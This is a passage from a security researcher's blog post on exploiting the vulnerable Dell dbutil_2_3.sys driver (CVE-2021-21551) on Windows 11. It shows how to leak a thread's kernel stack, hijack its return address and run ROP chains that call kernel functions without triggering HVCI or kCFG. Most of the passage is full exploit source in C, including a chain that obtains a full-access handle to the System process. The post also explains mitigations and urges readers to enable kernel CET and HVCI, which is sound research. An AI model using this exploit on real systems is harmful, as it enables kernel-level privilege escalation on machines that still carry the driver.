	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// The first element of the array is ntoskrnl.exe.
	//
	return (ULONG64)lpImageBase[0];

//
// Execution reaches here if an error occurs
//
exit:

	//
	// Return an error.
	//
	return (ULONG64)1;
}

The above function called resolventBase() returns the base address of ntoskrnl.exe (this type of enumeration couldn’t be done in a low-integrity process. Again, we are assuming medium integrity). This value can then be passed in to our constructROPChain() function.

If we examine the contents of a KTHREAD structure, we can see that StackBase is located at an offset of 0x38 within the KTHREAD structure. This means we can use our arbitrary read primitive to leak the stack address of the KTHREAD object by dereferencing this offset.

We then can update main() to resolve ntoskrnl.exe and to leak our kernel-mode stack (while leaving getchar() to confirm we can leak the stack before letting the process which houses our “dummy thread” terminate.

/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */
int main(void)
{
	//
	// Invoke getHandle() to get a handle to dbutil_2_3.sys
	//
	HANDLE driverHandle = getHandle();

	//
	// Error handling
	//
	if (driverHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p\n", driverHandle);

	//
	// Invoke getthreadHandle() to create our "dummy thread"
	//
	HANDLE getthreadHandle = createdummyThread();

	//
	// Error handling
	//
	if (getthreadHandle == (HANDLE)-1)
	{
		//
		// Print update
		//
		printf("[-] Error! Couldn't create the \"dummy thread\". Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Created the \"dummy thread\"!\n");

	//
	// Invoke leakKTHREAD()
	//
	ULONG64 kthread = leakKTHREAD(getthreadHandle);

	//
	// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)
	//
	if ((!kthread & 0x80000000) == 0x80000000)
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Error handling (kthread isn't negative - but is it a kernel-mode address?)
	//
	else if ((!kthread & 0xffff00000000000) == 0xffff00000000000 || ((!kthread & 0xfffff00000000000) == 0xfffff00000000000))
	{
		//
		// Print update
		// kthread is an NTSTATUS code if execution reaches here
		//
		printf("[-] Error! Unable to leak the KTHREAD object of the \"dummy thread\". Error: 0x%llx\n", kthread);

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] \"Dummy thread\" KTHREAD object: 0x%llx\n", kthread);

	//
	// Invoke resolventBase() to retrieve the load address of ntoskrnl.exe
	//
	ULONG64 ntBase = resolventBase();

	//
	// Error handling
	//
	if (ntBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Invoke constructROPChain() to build our ROP chain and kick off execution
	//
	BOOL createROP = constructROPChain(driverHandle, getthreadHandle, kthread, ntBase);

	//
	// Error handling
	//
	if (!createROP)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to construct the ROP chain. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// getchar() to pause execution
	//
	getchar();

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return 1;
}

After running the exploit (in its current state) we can see that we successfully leaked the stack for our “dummy thread” - located at 0xffffa385b8650000.

Recall also that the stack grows towards the lower memory addresses - meaning that the stack base won’t actually have (usually) memory paged in/committed. Instead, we have to start going “up” the stack (by going down - since the stack grows towards the lower memory addresses) to see the contents of the “dummy thread’s” stack.

Putting all of this together, we can extend the contents of our constructROPChain() function to search our dummy thread’s stack for the target return address of nt!KiApcInterrupt + 0x328. nt!KiApcInterrupt + 0x328 is located at an offset of 0x41b718 on the version of Windows 11 I am testing this exploit on.

/**
 * @brief Function used write a ROP chain to the kernel-mode stack
 *
 * This function takes the previously-leaked KTHREAD object of
 * our "dummy thread", extracts the StackBase member of the object
 * and writes the ROP chain to the kernel-mode stack leveraging the
 * write64() function.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param dummyThread - A valid handle to our "dummy thread" in order to resume it.
 * @param KTHREAD - The KTHREAD object associated with the "dummy" thread.
 * @param ntBase - The base address of ntoskrnl.exe.
 * @return Result of the operation in the form of a boolean.
 */
BOOL constructROPChain(HANDLE inHandle, HANDLE dummyThread, ULONG64 KTHREAD, ULONG64 ntBase)
{
	//
	// KTHREAD.StackBase = KTHREAD + 0x38
	//
	ULONG64 kthreadstackBase = KTHREAD + 0x38;

	//
	// Dereference KTHREAD.StackBase to leak the stack
	//
	ULONG64 stackBase = read64(inHandle, kthreadstackBase);

	//
	// Error handling
	//
	if (stackBase == (ULONG64)1)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// Print update
	//
	printf("[+] Leaked kernel-mode stack: 0x%llx\n", stackBase);

	//
	// Variable to store our target return address for nt!KiApcInterrupt
	//
	ULONG64 retAddr = 0;

	//
	// Leverage the arbitrary write primitive to read the entire contents of the stack (seven pages = 0x7000)
	// 0x7000 isn't actually commited, so we start with 0x7000-0x8, since the stack grows towards the lower
	// addresses.
	//
	for (int i = 0x8; i < 0x7000 - 0x8; i += 0x8)
	{
		//
		// Invoke read64() to dereference the stack
		//
		ULONG64 value = read64(inHandle, stackBase - i);

		//
		// Kernel-mode address?
		//
		if ((value & 0xfffff00000000000) == 0xfffff00000000000)
		{
			//
			// nt!KiApcInterrupt+0x328?
			//
			if (value == ntBase + 0x41b718)
			{
				//
				// Print update
				//
				printf("[+] Leaked target return address of nt!KiApcInterrupt!\n");

				//
				// Store the current value of stackBase - i, which is nt!KiApcInterrupt+0x328
				//
				retAddr = stackBase - i;

				//
				// Break the loop if we find our address
				//
				break;
			}
		}

		//
		// Reset the value
		//
		value = 0;
	}

	//
	// Print update
	//
	printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)1;
}

Again, we use getchar() to pause execution so we can inspect the thread before the process terminates. After executing the above exploit, we can see the ability to locate where nt!KiApcInterrupt + 0x328 exists on the stack.

We have now successfully located our target return address! Using our arbitrary write primitive, let’s overwrite the return address with 0x4141414141414141 - which should cause a system crash when our thread is resumed.

//
// Print update
//
printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

//
// Our ROP chain will start here
//
write64(inHandle, retAddr, 0x4141414141414141);

//
// Resume the thread to kick off execution
//
ResumeThread(dummyThread);

As we can see - our system has crashes and we control RIP! The system is attempting to return into the address 0x4141414141414141 - meaning we now control execution at the kernel level and we can now redirect execution into our ROP chain.

We also know the base address of ntoskrnl.exe, meaning we can resolve our needed ROP gadgets to arbitrarily invoke a kernel-mode API. Remember - just like DEP - ROP doesn’t actually execute unsigned code. We “resuse” existing signed code - which stays within the bounds of HVCI. Although it is a bit more arduous, we can still invoke arbitrary APIs - just like shellcode.

So let’s put together a proof-of-concept to arbitrarily call PsGetCurrentProcess - which should return a pointer to the EPROCESS structure associated with process housing the thread our ROP chain is executing in (our “dummy thread”). We also (for the purposes of showing it is possible) will save the result in a user-mode address so (theoretically) we could act on this object later.

Here is how our ROP chain will look.

This ROP chain places nt!PsGetCurrentProcess into the RAX register and then performs a jmp rax to invoke the function. This function doesn’t accept any parameters, and it returns a pointer to the current processes’ EPROCESS object. The calculation of this function’s address can be identified by calculating the offset from ntoskrnl.exe.

We can begin to debug the ROP chain by setting a breakpoint on the first pop rax gadget - which overwrites nt!KiApcInterrupt + 0x328.

After the pop rax occurs - nt!PsGetCurrentProcess is placed into RAX. The jmp rax gadget is dispatched - which invokes our call to nt!PsGetCurrentProcess (which is an extremely short function that only needs to index the KPRCB structure).

After completing the call to nt!PsGetCurrentProcess - we can see a user-mode address on the stack, which is placed into RCX and is used with a mov qword ptr [rcx], rax gadget.

This is a user-mode address supplied by us. Since nt!PsGetCurrentProcess returns a pointer to the current process (in the form of an EPROCESS object) - an attacker may want to preserve this value in user-mode in order to re-use the arbitrary write primitive and/or read primitive to further corrupt this object.

You may be thinking - what about Supervisor Mode Access Prevention (SMAP)? SMAP works similarly to SMEP - except SMAP doesn’t focus on code execution. SMAP prevents any kind of data access from ring 0 into ring 3 (such as copying a kernel-mode address into a user-mode address, or performing data access on a ring 3 page from ring 0). However, Windows only employs SMAP in certain situations - most notably when the processor servicing the data-operation is at an IRQL 2 and above. Since kernel-mode code runs at an IRQL of 0, this means SMAP isn’t “in play” - and therefore we are free to perform our data operation (saving the EPROCESS object into user-mode).

We have now completed the “malicious” call and we have successfully invoked an arbitrary API of our choosing - without needing to detonate any unsigned-code. This means we have stepped around HVCI by staying compliant with it (e.g. we didn’t turn HVCI off - we just stayed within the guidelines of HVCI). kCFG was bypassed in this instance (we took control of RIP) by overwriting a return address, similarly to my last blog series on browser exploitation. Intel CET in the Windows kernel would have prevent this from happening.

Since we are using ROP, we need to restore our execution now. This is due to the fact we have completely altered the state of the CPU registers and we have corrupted the stack. Since we have only corrupted the “dummy thread” - we simply can invoke nt!ZwTerminateThread, while passing in the handle of the dummy thread, to tell the Windows OS to do this for us! Remember - the “dummy thread” is only being used for the arbitrary API call. There are still other threads (the main thread) which actually executes code within Project2.exe. Instead of manually trying to restore the state of the “dummy thread” - and avoid a system crash - we simply can just ask Windows to terminate the thread for us. This will “gracefully” exit the thread, without us needing to manually restore everything ourselves.

nt!ZwTerminateThread accepts two parameters. It is an undocumented function, but it actually receives the same parameters as prototyped by its user-mode “cousin”, TerminateThread.

All we need to pass to nt!ZwTerminateThread is a handle to the “dummy thread” (the thread we want to terminate) and an NTSTATUS code (we will just use STATUS_SUCCESS, which is a value of 0x00000000). So, as we know, our first parameter needs to go into the RCX register (the handle to the “dummy thread”).

As we can see above, our handle to the dummy thread will be placed into the RCX register. After this is placed into the RCX register, our exit code for our thread (STATUS_SUCCESS, or 0x00000000) is placed into RDX.

Now we have our parameters setup for nt!ZwTerminateThread. All that there is left now is to place nt!ZwTerminateThread into RAX and to jump to it.

You’ll notice, however, that instead of hitting the jmp rax gadget - we hit another ret after the ret issued from the pop rax ; ret gadget. Why is this? Take a closer look at the stack.

When the jmp rax instruction is dispatched (nt!_guard_retpoline_indeirect_rax+0x5e) - the stack is in a 16-byte alignment (a 16-byte alignment means that the last two digits of the virtual address, e.g. 0xffffc789dd19d160, which would be 60, end with a 0). Windows API calls sometimes use the XMM registers, under the hood, which allow memory operations to be facilitated in 16-byte intervals. This is why when Windows API calls are made, they must (usually) be made in 16-byte alignments! We use the “extra” ret gadget to make sure that when jmp nt!ZwTerminateThread dispatches, that the stack is properly aligned.

From here we can execute nt!ZwTerminateThread.

From here we can press g in the debugger - as the Windows OS will gracefully exit us from the thread!

As we can see, we have our EPROCESS object in the user-mode cmd.exe console! We can cross-reference this address in WinDbg to confirm.

Parsing this address as an EPROCESS object, we can confirm via the ImageFileName that this is the EPROCESS object associated with our current process! We have successfully executed a kernel-mode function call, from user-mode (via our vulnerability), while not triggering kCFG or HVCI!

Bonus ROP Chain

Our previous nt!PsGetCurrentProcess function call outlined how it is possible to call kernel-mode functions via an arbitrary read/write primitive, from user-mode, without triggering kCFG and HVCI. Although we won’t step through each gadget, here is a “bonus” ROP chain that you could use, for instance, to open up a PROCESS_ALL_ACCESS handle to the System process with HVCI and kCFG enabled (don’t forget to declare CLIENT_ID and OBJECT_ATTRIBUTE structures!).

	//
	// Print update
	//
	printf("[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!\n", retAddr);

	//
	// Handle to the System process
	//
	HANDLE systemprocHandle = NULL;

	//
	// CLIENT_ID
	//
	CLIENT_ID clientId = { 0 };
	clientId.UniqueProcess = ULongToHandle(4);
	clientId.UniqueThread = NULL;

	//
	// Declare OBJECT_ATTRIBUTES
	//
	OBJECT_ATTRIBUTES objAttrs = { 0 };

	//
	// memset the buffer to 0
	//
	memset(&objAttrs, 0, sizeof(objAttrs));

	//
	// Set members
	//
	objAttrs.ObjectName = NULL;
	objAttrs.Length = sizeof(objAttrs);
	
	//
	// Begin ROP chain
	//
	write64(inHandle, retAddr, ntBase + 0xa50296);				// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x8, &systemprocHandle);		// HANDLE (to receive System process handle)
	write64(inHandle, retAddr + 0x10, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x18, PROCESS_ALL_ACCESS);		// PROCESS_ALL_ACCESS
	write64(inHandle, retAddr + 0x20, ntBase + 0x2e8281);		// 0x1402e8281: pop r8 ; ret ; \x41\x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x28, &objAttrs);				// OBJECT_ATTRIBUTES
	write64(inHandle, retAddr + 0x30, ntBase + 0x42a123);		// 0x14042a123: pop r9 ; ret ; \x41\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x38, &clientId);				// CLIENT_ID
	write64(inHandle, retAddr + 0x40, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x48, ntBase + 0x413210);		// nt!ZwOpenProcess
	write64(inHandle, retAddr + 0x50, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	write64(inHandle, retAddr + 0x58, ntBase + 0xa50296);		// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)
	write64(inHandle, retAddr + 0x60, (ULONG64)dummyThread);	// HANDLE to the dummy thread
	write64(inHandle, retAddr + 0x68, ntBase + 0x99493a);		// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)
	write64(inHandle, retAddr + 0x70, 0x0000000000000000);		// Set exit code to STATUS_SUCCESS
	write64(inHandle, retAddr + 0x78, ntBase + 0x6360a6);		// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)
	write64(inHandle, retAddr + 0x80, ntBase + 0x4137b0);		// nt!ZwTerminateThread
	write64(inHandle, retAddr + 0x88, ntBase + 0xab533e);		// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)
	
	//
	// Resume the thread to kick off execution
	//
	ResumeThread(dummyThread);

	//
	// Sleep Project2.exe for 1 second to allow the print update
	// to accurately display the System process handle
	//
	Sleep(1000);

	//
	// Print update
	//
	printf("[+] System process HANDLE: 0x%p\n", systemprocHandle);

What’s nice about this technique is the fact that all parameters can be declared in user-mode using C - meaning we don’t have to manually construct our own structures, like a CLIENT_ID structure, in the .data section of a driver, for instance.

Conclusion

I would say that HVCI is easily one of the most powerful mitigations there is. As we saw - we actually didn’t “bypass” HVCI. HVCI mitigates unsigned-code execution in the VTL 0 kernel - which is something we weren’t able to achieve. However, Microsoft seems to be dependent on Kernel CET - and when you combine kCET, kCFG, and HVCI - only then do you get coverage against this technique.

HVCI is probably not only the most complex mitigation I have looked at, not only is it probably the best, but it taught me a ton about something I didn’t know (hypervisors). HVCI, even in this situation, did its job and everyone should please go and enable it! When coupled with CET and kCFG - it will make HVCI resilient against this sort of attack (just like how MBEC makes HVCI resilient against PTE modification).

It is possible to enable kCET if you have a supported processor - as in many cases it isn’t enabled by default. You can do this via regedit.exe by adding a value called Enabled - which you need to set to 1 (as a DWORD) - to the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\KernelShadowStacks key. Shoutout to my coworker Yarden Shafir for showing me this! Thanks for tuning in!

Here is the final code (nt!ZwOpenProcess).

Definitions in ntdll.h:

#include <Windows.h>
#include <Psapi.h>
#include <time.h>

typedef enum _SYSTEM_INFORMATION_CLASS
{
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemPathInformation,
    SystemProcessInformation,
    SystemCallCountInformation,
    SystemDeviceInformation,
    SystemProcessorPerformanceInformation,
    SystemFlagsInformation,
    SystemCallTimeInformation,
    SystemModuleInformation,
    SystemLocksInformation,
    SystemStackTraceInformation,
    SystemPagedPoolInformation,
    SystemNonPagedPoolInformation,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPageFileInformation,
    SystemVdmInstemulInformation,
    SystemVdmBopInformation,
    SystemFileCacheInformation,
    SystemPoolTagInformation,
    SystemInterruptInformation,
    SystemDpcBehaviorInformation,
    SystemFullMemoryInformation,
    SystemLoadGdiDriverInformation,
    SystemUnloadGdiDriverInformation,
    SystemTimeAdjustmentInformation,
    SystemSummaryMemoryInformation,
    SystemMirrorMemoryInformation,
    SystemPerformanceTraceInformation,
    SystemObsolete0,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemExtendServiceTableInformation,
    SystemPrioritySeperation,
    SystemVerifierAddDriverInformation,
    SystemVerifierRemoveDriverInformation,
    SystemProcessorIdleInformation,
    SystemLegacyDriverInformation,
    SystemCurrentTimeZoneInformation,
    SystemLookasideInformation,
    SystemTimeSlipNotification,
    SystemSessionCreate,
    SystemSessionDetach,
    SystemSessionInformation,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemVerifierThunkExtend,
    SystemSessionProcessInformation,
    SystemLoadGdiDriverInSystemSpace,
    SystemNumaProcessorMap,
    SystemPrefetcherInformation,
    SystemExtendedProcessInformation,
    SystemRecommendedSharedDataAlignment,
    SystemComPlusPackage,
    SystemNumaAvailableMemory,
    SystemProcessorPowerInformation,
    SystemEmulationBasicInformation,
    SystemEmulationProcessorInformation,
    SystemExtendedHandleInformation,
    SystemLostDelayedWriteInformation,
    SystemBigPoolInformation,
    SystemSessionPoolTagInformation,
    SystemSessionMappedViewInformation,
    SystemHotpatchInformation,
    SystemObjectSecurityMode,
    SystemWatchdogTimerHandler,
    SystemWatchdogTimerInformation,
    SystemLogicalProcessorInformation,
    SystemWow64SharedInformation,
    SystemRegisterFirmwareTableInformationHandler,
    SystemFirmwareTableInformation,
    SystemModuleInformationEx,
    SystemVerifierTriageInformation,
    SystemSuperfetchInformation,
    SystemMemoryListInformation,
    SystemFileCacheInformationEx,
    MaxSystemInfoClass

} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    BYTE                 Name[256];
} SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;
    USHORT Handle;
    void* Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

// Prototype for ntdll!NtQuerySystemInformation
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
//
// CVE-2021-21551 (HVCI-compliant)
// Author: Connor McGarr (@33y0re)
//

#include "ntdll.h"
#include <stdio.h>

//
// Vulnerable IOCTL codes
//
#define IOCTL_WRITE_CODE 0x9B0C1EC8
#define IOCTL_READ_CODE 0x9B0C1EC4

//
// NTSTATUS codes
//
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
#define STATUS_SUCCESS 0x00000000

/**
 * @brief Function to arbitrarily read kernel memory.
 *
 * This function is able to take kernel mode memory, dereference it
 * and return it to user-mode.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param WHAT - The kernel-mode memory to be dereferenced/read.
 * @return The dereferenced contents of the kernel-mode memory.

 */
ULONG64 read64(HANDLE inHandle, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (read primitive)
	//
	ULONG64 inBuf[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one = 0x4141414141414141;
	ULONG64 two = WHAT;
	ULONG64 three = 0x0000000000000000;
	ULONG64 four = 0x0000000000000000;

	//
	// Assign the values
	//
	inBuf[0] = one;
	inBuf[1] = two;
	inBuf[2] = three;
	inBuf[3] = four;

	//
	// Interact with the driver
	//
	DWORD bytesReturned = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_READ_CODE,
		&inBuf,
		sizeof(inBuf),
		&inBuf,
		sizeof(inBuf),
		&bytesReturned,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return the QWORD
		//
		return inBuf[3];
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return an error
	//
	return (ULONG64)1;
}

/**
 * @brief Function used to arbitrarily write to kernel memory.
 *
 * This function is able to take kernel mode memory
 * and write user-supplied data to said memory
 * 1 QWORD (ULONG64) at a time.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param WHERE - The data the user wishes to write to kernel mode.
 * @param WHAT - The kernel-mode memory to be written to.
 * @return Result of the operation in the form of a boolean.
 */
BOOL write64(HANDLE inHandle, ULONG64 WHERE, ULONG64 WHAT)
{
	//
	// Buffer to send to the driver (write primitive)
	//
	ULONG64 inBuf1[4] = { 0 };

	//
	// Values to send
	//
	ULONG64 one1 = 0x4141414141414141;
	ULONG64 two1 = WHERE;
	ULONG64 three1 = 0x0000000000000000;
	ULONG64 four1 = WHAT;

	//
	// Assign the values
	//
	inBuf1[0] = one1;
	inBuf1[1] = two1;
	inBuf1[2] = three1;
	inBuf1[3] = four1;

	//
	// Interact with the driver
	//
	DWORD bytesReturned1 = 0;

	BOOL interact = DeviceIoControl(
		inHandle,
		IOCTL_WRITE_CODE,
		&inBuf1,
		sizeof(inBuf1),
		&inBuf1,
		sizeof(inBuf1),
		&bytesReturned1,
		NULL
	);

	//
	// Error handling
	//
	if (!interact)
	{
		//
		// Bail out
		//
		goto exit;

	}
	else
	{
		//
		// Return TRUE
		//
		return TRUE;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle before exiting
	//
	CloseHandle(
		inHandle
	);

	//
	// Return FALSE (arbitrary write failed)
	//
	return FALSE;
}

/**
 * @brief Function to obtain a handle to the dbutil_2_3.sys driver.
 * @param Void.
 * @return The handle to the driver.
 */
HANDLE getHandle(void)
{
	//
	// Obtain a handle to the driver
	//
	HANDLE driverHandle = CreateFileA(
		"\\\\.\\DBUtil_2_3",
		FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE,
		0x0,
		NULL,
		OPEN_EXISTING,
		0x0,
		NULL
	);

	//
	// Error handling
	//
	if (driverHandle == INVALID_HANDLE_VALUE)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the driver handle
		//
		return driverHandle;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

/**
 * @brief Function used for LPTHREAD_START_ROUTINE
 *
 * This function is used by the "dummy thread" as
 * the entry point. It isn't important, so we can
 * just make it "return"
 *
 * @param Void.
 * @return Void.
 */
void randomFunction(void)
{
	return;
}

/**
 * @brief Function used to create a "dummy thread"
 *
 * This function creates a "dummy thread" that is suspended.
 * This allows us to leak the kernel-mode stack of this thread.
 *
 * @param Void.
 * @return A handle to the "dummy thread"
 */
HANDLE createdummyThread(void)
{
	//
	// Invoke CreateThread
	//
	HANDLE dummyThread = CreateThread(
		NULL,
		0,
		(LPTHREAD_START_ROUTINE)randomFunction,
		NULL,
		CREATE_SUSPENDED,
		NULL
	);

	//
	// Error handling
	//
	if (dummyThread == (HANDLE)-1)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Return the handle to the thread
		//
		return dummyThread;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an invalid handle
	//
	return (HANDLE)-1;
}

/**
 * @brief Function to resolve ntdll!NtQuerySystemInformation.
 *
 * This function is used to resolve ntdll!NtQuerySystemInformation.
 * ntdll!NtQuerySystemInformation allows us to leak kernel-mode
 * memory, useful to our exploit, to user mode from a medium
 * integrity process.
 *
 * @param Void.
 * @return A pointer to ntdll!NtQuerySystemInformation.

 */
NtQuerySystemInformation_t resolveFunc(void)
{
	//
	// Obtain a handle to ntdll.dll (where NtQuerySystemInformation lives)
	//
	HMODULE ntdllHandle = GetModuleHandleW(L"ntdll.dll");

	//
	// Error handling
	//
	if (ntdllHandle == NULL)
	{
		// Bail out
		goto exit;
	}

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t func = (NtQuerySystemInformation_t)GetProcAddress(
		ntdllHandle,
		"NtQuerySystemInformation"
	);

	//
	// Error handling
	//
	if (func == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// Print update
		//
		printf("[+] ntdll!NtQuerySystemInformation: 0x%p\n", func);

		//
		// Return the address
		//
		return func;
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Return an error
	//
	return (NtQuerySystemInformation_t)1;
}

/**
 * @brief Function used to leak the KTHREAD object
 *
 * This function leverages NtQuerySystemInformation (by
 * calling resolveFunc() to get NtQuerySystemInformation's
 * location in memory) to leak the KTHREAD object associated
 * with our previously created "dummy thread"
 *
 * @param dummythreadHandle - A handle to the "dummy thread"
 * @return A pointer to the KTHREAD object
 */
ULONG64 leakKTHREAD(HANDLE dummythreadHandle)
{
	//
	// Set the NtQuerySystemInformation return value to STATUS_INFO_LENGTH_MISMATCH for call to NtQuerySystemInformation
	//
	NTSTATUS retValue = STATUS_INFO_LENGTH_MISMATCH;

	//
	// Resolve ntdll!NtQuerySystemInformation
	//
	NtQuerySystemInformation_t NtQuerySystemInformation = resolveFunc();

	//
	// Error handling
	//
	if (NtQuerySystemInformation == (NtQuerySystemInformation_t)1)
	{
		//
		// Print update
		//
		printf("[-] Error! Unable to resolve ntdll!NtQuerySystemInformation. Error: 0x%lx\n", GetLastError());

		//
		// Bail out
		//
		goto exit;
	}

	//
	// Set size to 1 and loop the call until we reach the needed size
	//
	int size = 1;

	//
	// Output size
	//
	int outSize = 0;

	//
	// Output buffer
	//
	PSYSTEM_HANDLE_INFORMATION out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

	//
	// Error handling
	//
	if (out == NULL)
	{
		//
		// Bail out
		//
		goto exit;
	}

	//
	// do/while to allocate enough memory necessary for NtQuerySystemInformation
	//
	do
	{
		//
		// Free the previous memory
		//
		free(out);

		//
		// Increment the size
		//
		size = size * 2;

		//
		// Allocate more memory with the updated size
		//
		out = (PSYSTEM_HANDLE_INFORMATION)malloc(size);

		//
		// Error handling
		//
		if (out == NULL)
		{
			//
			// Bail out
			//
			goto exit;
		}

		//
		// Invoke NtQuerySystemInformation
		//
		retValue = NtQuerySystemInformation(
			SystemHandleInformation,
			out,
			(ULONG)size,
			&outSize
		);
	} while (retValue == STATUS_INFO_LENGTH_MISMATCH);

	//
	// Verify the NTSTATUS code which broke the loop is STATUS_SUCCESS
	//
	if (retValue != STATUS_SUCCESS)
	{
		//
		// Is out == NULL? If so, malloc failed and we can't free this memory
		// If it is NOT NULL, we can assume this memory is allocated. Free
		// it accordingly
		//
		if (out != NULL)
		{
			//
			// Free the memory
			//
			free(out);

			//
			// Bail out
			//
			goto exit;
		}

		//
		// Bail out
		//
		goto exit;
	}
	else
	{
		//
		// NtQuerySystemInformation should have succeeded
		// Parse all of the handles, find the current thread handle, and leak the corresponding object
		//
		for (ULONG i = 0; i < out->NumberOfHandles; i++)
		{
			//
			// Store the current object's type number
			// Thread object = 0x8
			//
			DWORD objectType = out->Handles[i].ObjectTypeNumber;

			//
			// Are we dealing with a handle from the current process?
			//
			if (out->Handles[i].ProcessId == GetCurrentProcessId())
			{
				//
				// Is the handle the handle of the "dummy" thread we created?
				//
				if (dummythreadHandle == (HANDLE)out->Handles[i].Handle)
				{
					//
					// Grab the actual KTHREAD object corresponding to the current thread
					//
					ULONG64 kthreadObject = (ULONG64)out->Handles[i].Object;

					//
					// Free the memory
					//
					free(out);

					//
					// Return the KTHREAD object
					//
					return kthreadObject;
				}
			}
		}
	}

//
// Execution comes here if an error is encountered
//
exit:

	//
	// Close the handle to the "dummy thread"
	//
	CloseHandle(
		dummythreadHandle
	);

	//
	// Return the NTSTATUS error
	//
	return (ULONG64)retValue;
}

/**
 * @brief Function used resolve the base address of ntoskrnl.exe.
 * @param Void.
 * @return ntoskrnl.exe base
 */
